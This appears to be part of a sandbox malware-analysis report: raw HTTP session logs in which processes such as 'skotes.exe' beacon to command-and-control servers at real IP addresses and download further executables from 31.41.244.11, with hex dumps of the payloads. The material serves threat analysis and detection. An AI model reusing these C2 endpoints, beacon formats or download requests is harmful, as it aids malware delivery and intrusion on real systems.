Dec 18, 2024 15:21:30.762085915 CET	1236	IN	Data Raw: 31 4a f9 db ea 7c 5e a3 62 c1 1a 10 0e cd 07 0d 32 82 eb 9e 78 c9 1a 5c f3 85 0a 0d f1 b9 88 74 75 03 5d 2c 5a cb cc 73 02 98 a1 74 f2 83 6d 5f 22 5b 61 fc 8d d7 61 bb 24 c9 48 fd 34 b8 f9 7b ea 05 03 7c 91 31 a9 30 15 e5 70 70 04 25 0d 2e 71 ba Data Ascii: 1J\|^b2x\tu],Zstm_"[aa$H4{\|10pp%.q]r,=\|111I]]zFY~g-S!@^x}\>D`-6yy,q-+'T9Hvr)8I"1-\|: k;&qi)
Dec 18, 2024 15:21:30.762100935 CET	1236	IN	Data Raw: ca 15 d5 ef 85 63 a5 64 41 ec 40 8d fa 13 9c fc 0d 7f f7 c3 3c 1e f2 e3 b2 00 2c 39 04 d2 2e 4b 30 eb 1e ff 57 98 ea 21 03 ca fa fb e9 87 bc 0d 82 f2 5f 8b ee 83 8a 44 9a d9 2d 72 ad a3 8d ac fb 2c bd e4 b2 b9 8b da ec b1 87 88 da 83 d4 8a e4 34 Data Ascii: cdA@<,9.K0W!_D-r,4oR[?G3R"6p34<-/8>B=b]6KJk7\|%q'/<HhX[n>y;DDc"nH"@fy#'2zc
Dec 18, 2024 15:21:30.762254953 CET	1236	IN	Data Raw: ec 1e db 48 a5 97 e2 33 79 10 89 57 78 79 ad df d3 be cc 7c c7 06 a7 be 39 de 50 bd 29 ec e5 6f d2 c0 00 5f 25 4d 7d 84 72 61 66 01 ea 17 af fe ee e6 6b 31 23 b2 17 d8 9a 16 d8 62 2b b9 64 62 14 79 2f 0d e3 ca c0 0c 6e 4d e7 d8 24 29 83 fd f1 df Data Ascii: H3yWxy\|9P)o_%M}rafk1#b+dby/nM$)9LzyAj&\|-.z9r:r d2PR=2CJ"j8L/::FV8!l0x3<0;C}a.EsfH6es)u*
Dec 18, 2024 15:21:30.762270927 CET	1236	IN	Data Raw: 98 0a 29 eb 34 b9 68 c6 06 32 43 0e 93 ac 79 58 88 3c ad cc ca ad 64 ed 7d d9 49 1d 06 18 00 9b 2d 6b 91 8c fc b3 9b fc 84 d5 4b 3b 24 e3 d8 26 79 f3 03 8c af 83 91 70 ba 91 a5 89 b6 58 86 4b 2e bc 03 d0 d7 5b ed d7 44 15 02 4c 34 6d 65 6c 65 80 Data Ascii: )4h2CyX<d}I-kK;$&ypXK.[DL4meleC!hxE5w1ea \9/Z5m$C(mf/rj3:9!"A3\UzR!^nRZW1Jq=:) W]g?hTr~Xu,aHG
Dec 18, 2024 15:21:30.762286901 CET	1000	IN	Data Raw: ee a8 6e d8 f7 a9 75 cb f8 d3 2b ed 6a 9b 52 91 8b c6 64 33 40 0c 62 9c e6 ca 2e 54 32 db ca 7f 03 c1 f9 13 54 eb 04 5c a1 90 15 91 71 2a 29 2e 05 89 91 20 21 5b 02 70 e8 2a 69 d4 43 ec e5 bd 18 ba f8 cf 56 03 60 8b e5 7f f4 9c 40 ba f0 e4 57 e1 Data Ascii: nu+jRd3@b.T2T\q). ![piCV`@W\|<x\8a 39Fb-]oa&Y\9C/_=L')m2x#(B4J\|o8t;wMe!0aO2\4SZ.qE?TU
Dec 18, 2024 15:21:30.881711960 CET	1236	IN	Data Raw: 19 cc 68 12 30 f0 4b ef bd 2a c0 eb f8 bf 58 65 00 fb 34 bb 10 57 5a 33 6c 38 69 4f 46 d3 4d 48 ca 6d e2 bc e5 9b fb 51 63 8f 6a 0d 30 8e a7 f4 27 73 09 72 04 b3 60 73 e8 39 67 6f 6f f6 9c 30 0e b9 db 13 a4 32 13 34 a2 7c 3d d6 b6 81 eb c3 e1 bf Data Ascii: h0KXe4WZ3l8iOFMHmQcj0'sr`s9goo024\|=@b)\|Po_Wy.m}R =\){KBI</)>}B^;,Py1g(_Sw+*CL<\|m\M/\|<d=]5p`A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49834	185.215.113.206	80	6800	C:\Users\user\Desktop\random.exe.7.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 15:21:36.193625927 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDGIIDHJEBGIDHJJDBKE Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 44 48 4a 45 42 47 49 44 48 4a 4a 44 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 31 38 62 31 64 61 64 64 35 35 39 31 32 36 32 35 61 65 33 61 34 62 30 34 38 34 61 32 31 35 35 34 35 34 34 65 32 32 65 30 37 62 35 30 38 37 32 37 66 30 37 64 30 37 63 38 37 62 38 32 64 38 31 32 30 37 62 39 64 36 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 44 48 4a 45 42 47 49 44 48 4a 4a 44 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 44 48 4a 45 42 47 49 44 48 4a 4a 44 42 4b 45 2d 2d 0d 0a Data Ascii: ------JDGIIDHJEBGIDHJJDBKEContent-Disposition: form-data; name="token"f18b1dadd55912625ae3a4b0484a21554544e22e07b508727f07d07c87b82d81207b9d6e------JDGIIDHJEBGIDHJJDBKEContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JDGIIDHJEBGIDHJJDBKE--
Dec 18, 2024 15:21:38.044011116 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:21:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49899	185.215.113.43	80	7364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 15:22:04.281006098 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 18, 2024 15:22:05.705401897 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 14:22:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49906	185.215.113.43	80	7364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 15:22:07.339829922 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 33 32 41 37 34 42 36 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB32A74B65D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Dec 18, 2024 15:22:08.706111908 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 14:22:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 39 66 0d 0a 20 3c 63 3e 31 30 31 36 39 32 30 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 39 33 32 66 63 36 31 36 31 65 65 61 30 36 62 30 31 62 31 36 30 33 37 36 38 39 38 61 63 64 31 63 65 34 62 35 39 61 35 35 33 36 65 36 23 31 30 31 36 39 32 32 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 65 37 31 39 62 35 30 35 39 62 62 30 30 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 31 36 39 32 33 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 66 37 30 39 36 34 65 30 33 61 63 35 32 65 61 34 38 34 62 34 31 31 62 39 64 63 34 65 31 23 31 30 31 36 39 32 34 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 [TRUNCATED] Data Ascii: 49f <c>1016920001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb932fc6161eea06b01b160376898acd1ce4b59a5536e6#1016922001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb00ab5e45425197d1aa1daaa8#1016923001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcf70964e03ac52ea484b411b9dc4e1#1016924001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc96a805145b002ab5e45425197d1aa1daaa8#1016925001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb02ab5e45425197d1aa1daaa8#1016926001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1016927001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1016928001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1016929001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#1016930001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd32c86444db31cf64d4a485a9592e100b7#1016931001+++b5937c1a99d5f9df0b [TRUNCATED]
Dec 18, 2024 15:22:08.706126928 CET	138	IN	Data Raw: 61 30 36 62 37 31 64 30 62 34 31 34 66 61 61 64 62 64 37 33 65 62 65 65 33 64 31 34 38 32 62 23 31 30 31 36 39 33 32 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 Data Ascii: a06b71d0b414faadbd73ebee3d1482b#1016932001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcd7e864403ac52ea484b411b9dc4e1#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49910	31.41.244.11	80	7364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 15:22:08.831113100 CET	66	OUT	GET /files/8047245472/Cq6Id6x.exe HTTP/1.1 Host: 31.41.244.11
Dec 18, 2024 15:22:10.164563894 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 14:22:09 GMT Content-Type: application/octet-stream Content-Length: 3286016 Last-Modified: Wed, 18 Dec 2024 13:43:08 GMT Connection: keep-alive ETag: "6762d16c-322400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 88 cf 56 f4 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 50 00 00 c8 2f 00 00 5a 02 00 00 00 00 00 ce e6 2f 00 00 20 00 00 00 00 30 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 32 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 00 00 80 e6 2f 00 4b 00 00 00 00 00 30 00 40 57 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 32 00 0c 00 00 00 33 e6 2f 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELVP/Z/ 0@ 2@/K0@W`23/ H.text/ / `.rsrc@W0X/@@.reloc`2"2@B/H@C@z6+(B99(:+(^A(!(*(0(8yEcO/8^s :&8s8s 9& 8s 8s800000**00**
Dec 18, 2024 15:22:10.164589882 CET	224	IN	Data Raw: 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 14 2a 00 00 00 22 00 14 a5 2e 00 00 01 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 2a 0c 00 Data Ascii: 0".**(~(s;(=t80*0(00
Dec 18, 2024 15:22:10.164599895 CET	1236	IN	Data Raw: 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 07 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 17 2a 00 00 00 12 00 00 00 2a 00 00 00 22 00 14 a5 2e 00 00 01 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 Data Ascii: 0".**********(00G0**
Dec 18, 2024 15:22:10.164732933 CET	1236	IN	Data Raw: 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a Data Ascii: *******************************
Dec 18, 2024 15:22:10.164746046 CET	1236	IN	Data Raw: 00 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 08 00 00 00 00 00 00 00 00 14 a5 72 00 00 01 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 17 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 12 Data Ascii: *0r0****************(******
Dec 18, 2024 15:22:10.164757967 CET	672	IN	Data Raw: 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 00 2a 00 00 00 1a 28 2a 0c 00 06 2a 00 12 00 00 00 2a 00 00 00 12 Data Ascii: ******(*0~(* "($sS8******00*0
Dec 18, 2024 15:22:10.166093111 CET	1236	IN	Data Raw: 2a 41 1c 00 00 02 00 00 00 34 00 00 00 83 01 00 00 b7 01 00 00 0d 00 00 00 00 00 00 00 03 30 08 00 04 00 00 00 00 00 00 00 00 00 14 2a 01 10 00 00 02 00 30 00 14 44 00 40 00 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a Data Ascii: A400D@*""""r*"*""r
Dec 18, 2024 15:22:10.166196108 CET	224	IN	Data Raw: 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 2a 0c 00 06 2a 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 Data Ascii: 0*(00*(00"-*0ALB*
Dec 18, 2024 15:22:10.166205883 CET	1236	IN	Data Raw: 00 0d 00 00 00 00 00 00 00 02 00 00 00 1e 00 00 00 19 01 00 00 37 01 00 00 0d 00 00 00 00 00 00 00 03 30 08 00 04 00 00 00 00 00 00 00 00 00 14 2a 41 1c 00 00 02 00 00 00 13 00 00 00 86 01 00 00 99 01 00 00 0d 00 00 00 00 00 00 00 13 30 04 00 d7 Data Ascii: 70A0<(8E^N28Y :&8 8sb 9&8: 88
Dec 18, 2024 15:22:10.166352034 CET	1236	IN	Data Raw: 00 00 00 00 2a 01 10 00 00 02 00 1f 00 5e 7d 00 0d 00 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 17 2a 00 00 00 12 00 00 17 2a 00 00 00 13 30 07 00 04 00 00 00 00 00 00 00 00 Data Ascii: ^}00**00****(0000****
Dec 18, 2024 15:22:10.287705898 CET	1236	IN	Data Raw: 00 00 04 80 e6 00 00 04 20 06 00 00 00 38 8e ff ff ff 19 8d 9f 00 00 01 25 d0 ae 03 00 04 28 c0 01 00 0a 80 e8 00 00 04 20 04 00 00 00 38 6e ff ff ff 11 01 16 1f 2e 9d 20 03 00 00 00 38 5e ff ff ff 18 8d 9f 00 00 01 13 01 20 05 00 00 00 38 4c ff Data Ascii: 8%( 8n. 8^ 8L8sV80**************

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49920	185.215.113.43	80	7364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 15:22:17.874465942 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 39 32 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016920001&unit=246122658369
Dec 18, 2024 15:22:19.266885042 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 14:22:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49921	31.41.244.11	80	7364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 15:22:19.391845942 CET	62	OUT	GET /files/unique3/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 18, 2024 15:22:20.717592001 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 14:22:20 GMT Content-Type: application/octet-stream Content-Length: 2037760 Last-Modified: Wed, 18 Dec 2024 13:58:19 GMT Connection: keep-alive ETag: "6762d4fb-1f1800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cd d8 9a 7a 89 b9 f4 29 89 b9 f4 29 89 b9 f4 29 c2 c1 f7 28 82 b9 f4 29 c2 c1 f1 28 06 b9 f4 29 c2 c1 f0 28 9d b9 f4 29 9c c6 f1 28 af b9 f4 29 9c c6 f0 28 98 b9 f4 29 9c c6 f7 28 9d b9 f4 29 c2 c1 f5 28 8a b9 f4 29 89 b9 f5 29 da b9 f4 29 89 b9 f4 29 8b b9 f4 29 b3 39 f0 28 8a b9 f4 29 b3 39 0b 29 88 b9 f4 29 b3 39 f6 28 88 b9 f4 29 52 69 63 68 89 b9 f4 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 5f 7b 5f 64 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 25 00 7c 03 00 00 5e 03 00 00 00 01 00 00 60 4d 00 00 10 00 00 00 90 03 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$z)))()()()()()()()))))9()9))9()Rich)PEL_{_d%\|^`M@MM@Vjl <@.rsrclL@.idata T@ *V@icaenpzq2X@acsraxvuPM@.taggant0`M"@
Dec 18, 2024 15:22:20.717606068 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 15:22:20.717617989 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 15:22:20.717710018 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 15:22:20.717721939 CET	896	IN	Data Raw: ac 05 99 2a d7 d3 8f cd 2a 2c 87 62 4b a7 b5 53 c0 55 7f e4 4f 76 8c d1 eb 73 e6 a0 57 ad e2 b2 0f 10 2d 4f ef 81 64 2c 0d 4f 01 a4 80 1b a8 8e 1a 07 13 74 c5 98 f6 47 72 bb 86 f4 2f 59 0d b8 5e fa fc 74 a8 6f b1 73 03 52 a5 46 67 69 c3 10 cb d0 Data Ascii: **,bKSUOvsW-Od,OtGr/Y^tosRFgi1dav FT/;\|i\|HL+4+n=C.sy\t{X@?Ppp]Wt}aFO\|/0eP&sjrC1[5F'Scu/F
Dec 18, 2024 15:22:20.717789888 CET	1236	IN	Data Raw: b2 3d 46 b0 f4 55 f6 81 9e 64 00 d2 de de 07 19 54 a4 bd de 11 f6 e8 6b 2f 69 10 41 11 e6 d5 3a d2 4a 56 6b cd 63 fe 72 c6 2b ac 70 ab 3a 8a a6 50 5e 2e 35 8f 33 34 ce 19 e7 d1 42 5c 05 a6 00 b7 23 5e 74 f2 61 9d 6a 75 85 a5 d4 63 47 1d 2a d7 a8 Data Ascii: =FUdTk/iA:JVkcr+p:P^.534B\#^tajucG*+pdt@ WPrx[sO_/&"WZ1qi?NFjqb";,Os}DUto?cxw$&
Dec 18, 2024 15:22:20.717802048 CET	1236	IN	Data Raw: e0 22 d6 0a 8d 4a f2 39 cc 1d 60 a6 de cb 83 56 b0 ad 75 a5 bf 8a e5 9f 4f 17 20 60 1b 73 18 bf 77 b0 fd 2f 37 ec d6 60 c7 ef f6 31 1f 6d 87 d4 03 61 5d 18 0f ce e8 3b df 69 5a f2 90 a9 d5 8f df 4a df 10 c5 f9 cd bc e6 2b 9b 6c 92 bc 89 a6 49 00 Data Ascii: "J9`VuO `sw/7`1ma];iZJ+lI'td)RcaE[9+LVs([o0^3?ppwto%WtJr[A4]k[?"n_ock)_*h@
Dec 18, 2024 15:22:20.717936993 CET	448	IN	Data Raw: 9e e2 55 d1 97 2b 08 17 1a a8 3b de 28 c2 e8 8e be 6e 7f 09 0c 33 46 56 71 44 73 2a d7 a4 85 b8 b5 2e a4 10 e5 ee d5 7f f9 de dd fc e7 ef e8 98 0d 69 5a 31 20 c9 d5 ce 18 4a 63 72 d0 c9 90 84 c8 5b 48 1d b2 f6 9a b3 29 2f ad e1 b6 fa 3e f0 82 73 Data Ascii: U+;(n3FVqDs.iZ1 Jcr[H)/>sI0PU!6-Pi\|gRc$oEa+LKt*Ht},Rv81JS:F'Q\|=VB)=Ps%5a s/Kh
Dec 18, 2024 15:22:20.717947960 CET	1236	IN	Data Raw: c6 fd ed b7 10 90 7e 6c e2 63 ea aa 8c 30 46 06 3e f3 f7 2a d7 77 62 3d 44 2b 5d 05 a2 dc 89 a6 b2 78 30 dc 8e 27 d8 f6 46 e7 0d 2b 3c 37 e8 ee 65 98 f4 5a 53 63 a7 ec 1c 06 46 0c 32 9c 51 2a d7 2f 78 9b 4c 2b 0a e1 01 fe 89 a6 12 75 97 b8 8e 53 Data Ascii: ~lc0F>wb=D+]x0'F+<7eZScF2Q/xL+uS9QZe?RcsEIy+uc]Mc?JFyRcgpE'db,U>PsJ8/{7\|<jst0`bUPnCsri5cYq?`R
Dec 18, 2024 15:22:20.717959881 CET	1236	IN	Data Raw: af d6 89 a6 2e 40 b9 15 8f 6f fe 6a ff e7 0d 28 23 b6 18 f5 ec e0 e3 9e 50 ed 58 07 0d 07 02 3c 47 d0 96 8e 48 d5 a6 74 35 93 f6 ea 0a 31 87 93 ca 86 68 b6 56 7c bc 6d 37 ec 91 3f 6d c8 fd b8 bf 94 bd 36 50 7d 8f 54 cb 73 db bf 1c 34 12 2f 33 b4 Data Ascii: .@oj(#PX<GHt51hV\|m7?m6P}Ts4/34SK\|V$O"s6{1[A'a~-to6(Q\K-3@tozuZ5tw?g
Dec 18, 2024 15:22:20.837826014 CET	1236	IN	Data Raw: 68 1c 81 a6 ee 79 a9 a2 0c 38 10 e8 6a f8 5b 0e 0c de b0 ce 52 63 9e e8 4c 9b 45 b9 28 61 6d 2a a7 f6 af 51 bf 69 08 9f d0 ba d5 41 3a 4a 1f 69 d0 87 86 ce 6e 59 c6 85 3a 51 a5 de 16 86 a7 74 05 6f 53 42 19 0d a6 25 98 17 c4 ca ca cb 27 3e b4 8b Data Ascii: hy8j[RcLE(amQiA:JinY:QtoSB%'>TK<dr<tuN7Ti5>A+iEJ\iI[@K%1y]_.J ScLE@4+P-0mtW(cr+]TScE=4*Y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49923	185.215.113.43	80	7364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 15:22:26.652462006 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 39 32 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016922001&unit=246122658369
Dec 18, 2024 15:22:28.008869886 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 14:22:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49924	31.41.244.11	80	7364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 15:22:28.132002115 CET	59	OUT	GET /files/dodo/random.exe HTTP/1.1 Host: 31.41.244.11
